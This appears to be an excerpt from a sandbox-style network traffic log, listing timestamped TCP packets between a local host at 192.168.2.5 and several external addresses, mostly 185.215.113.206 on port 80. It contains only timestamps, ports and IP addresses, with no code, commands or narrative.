Nov 28, 2024 06:48:30.750639915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.750647068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.750742912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.751501083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.751593113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.751611948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.751661062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.752487898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.752537966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.752562046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.752614021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.753469944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.753536940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.753576040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.753629923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.754477978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.754578114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.754594088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.754633904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.755417109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.755522966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.755564928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.755613089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.756467104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.756552935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.756552935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.756599903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.757379055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.757426977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.757492065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.757596970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.758352995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.758435965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.758503914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.758539915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.759388924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.759500027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.759552956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.760273933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.760335922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.760422945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.760478973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.761296034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.761364937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.761377096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.761428118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.762259007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.762321949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.762361050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.762595892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.763253927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.763273001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.763293028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.763381958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.764228106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.764275074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.764314890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.764359951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.765223026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.765285015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.765326977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.765364885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.766196012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.766218901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.766268969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.766328096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.767175913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.767266035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.767326117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.768136024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.768203020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.768268108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.768326044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.769156933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.769309044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.769347906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.769396067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.770145893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.770210981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.770237923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.770351887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.771092892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.771146059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.771209002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.771251917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.772064924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.772156954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.772187948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.772260904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.773029089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.773086071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.773099899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.773159027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.774023056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.774208069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.774271965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.774983883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.775063038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.775105953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.775150061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.775975943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.776024103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.776134968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.776180029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.776978016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.777029991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.777074099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.777112961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.777981043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.778037071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.778095961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.778137922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.778930902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.779058933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.779062033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.779093027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.779907942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.779966116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.780023098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.780065060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.780863047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.780911922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.780950069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.781111956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.781869888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.782079935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.782150030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.782838106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.782892942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.782934904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.782975912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.783830881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.783927917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.783993959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.784790993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.784910917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.784982920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.785778999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.785871983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.785897017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.785953999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.786751032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.786818027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.786851883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.786990881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.787719965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.787795067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.787925005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.787981033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.788738966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.788758993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.788805008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.788867950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.789697886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.789777994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.789978981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.870693922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.944942951 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.945889950 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:30.945908070 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.946230888 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.947695971 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:30.947758913 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.990603924 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.990668058 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.990865946 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.991141081 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.991148949 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.994463921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.041090012 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.183670998 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.183706999 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.183737040 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.185823917 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.185991049 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.186002016 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.231323957 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.320794106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.320853949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.320919037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.321161032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.321288109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.321321964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.321377993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.321525097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.322268963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.322325945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.322367907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.322405100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.323241949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.323398113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.323400974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.323779106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.324229956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.324347973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.324400902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.324419975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.325212002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.325256109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.325310946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.325412989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.326172113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.326298952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.326375961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.327142000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.327254057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.327286959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.327334881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.328139067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.328190088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.328248024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.328299999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.329124928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.329174995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.329262018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.329301119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.330113888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.330245018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.330293894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.331073046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.331180096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.331248045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.332133055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.332196951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.332294941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.332362890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.333132982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.333190918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.333214045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.333360910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.334029913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.334089994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.334121943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.334161043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.334984064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.335031986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.335098028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.335143089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.335985899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.336055040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.336122990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.336160898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.337003946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.337070942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.337104082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.337395906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.337943077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.338004112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.338047028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.338615894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.338941097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.338987112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.339040041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.339150906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.339895010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.339941978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.339998007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.340048075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.340881109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.340941906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.341029882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.341070890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.341861963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.341922998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.341972113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.342137098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.342866898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.342917919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.342967033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.343332052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.343796968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.343853951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.343883991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.347377062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.444761992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.444803953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.444827080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.444853067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.445242882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.445302010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.445333004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.445375919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.445884943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.445930004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.445935011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.445975065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.446876049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.446940899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.446969986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.447007895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.447839975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.447926998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.447969913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.448818922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.448873043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.448900938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.448947906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.449168921 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.449417114 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.449425936 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.449805021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.449883938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.449932098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.449980021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.450572014 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.450634003 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.450764894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.450808048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.450870991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.450927973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.451771021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.451826096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.451847076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.451911926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.451941013 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.452122927 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.452126980 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.452239990 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.452745914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.452766895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.452800989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.452821016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.453731060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.453799963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.453872919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.453912973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.454710960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.454766035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.454817057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.454855919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.455688953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.455800056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.455847979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.456681013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.456739902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.456794024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.456887960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.457647085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.457721949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.457748890 CET	80	49750	185.215.113.206	192.168.2.5
